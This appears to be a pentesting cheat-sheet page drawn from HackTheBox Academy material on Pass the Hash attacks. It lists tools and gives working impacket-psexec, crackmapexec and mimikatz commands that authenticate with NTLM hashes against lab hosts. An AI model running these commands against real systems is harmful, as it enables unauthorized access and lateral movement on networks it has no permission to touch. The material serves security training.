Pass the Hash

A Pass the Hash (PtH) attack is a technique where an attacker uses a password hash instead of the plain text password for authentication. The attacker doesn't need to decrypt the hash to obtain a plaintext password. PtH attacks exploit the authentication protocol, as the password hash remains static for every session until the password is changed.

Source: HackTheBox Academy

Several tools can be used for this attack:

• Mimikatz
• Impacket
• CrackMapExec
• Invoke-TheHash
• evil-winrm

External Resources

• Pass the Hash by Hackndo
• Pass the Hash by HackTricks

Examples

Impacket PsExec Example

impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

CrackMapExec Example

crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453

Mimikatz Example

mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit